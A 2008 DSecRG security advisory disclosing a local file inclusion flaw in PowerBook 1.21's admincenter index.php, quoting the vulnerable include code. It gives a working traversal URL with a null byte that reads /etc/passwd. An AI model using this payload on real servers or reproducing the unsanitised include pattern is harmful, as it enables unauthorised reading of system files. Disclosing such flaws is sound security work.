PowerBook 1.21 - 'index.php' Local File Inclusion

[DSECRG-08-019] Digital Security Research Group [DSecRG] Advisory


Application:                    PowerBook
Versions Affected:              1.21
Vendor URL:                     http://www.powerscripts.org/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       01.02.2008
Vendor Response:                none
Solution:                       none
Date of Public Advisory:        24.03.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
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Local File Include vulnerability found in script pb_inc/admincenter/index.php

Non-authentication user can directly access to this script.

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.


Code
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#################################################

  if (!$page) {
     $page = "home";
  }

  $page .= ".inc.php";

  if(file_exists($page) == false) {
     echo "
        <div align=\"center\">Sorry, the page <b>$page</b> does not exist!</div>
     ";
  } else {
     include("$page");
  }

#################################################


Example:

http://[server]/[installdir]/pb_inc/admincenter/index.php?page=../../../../../../../../../../../../../etc/passwd%00



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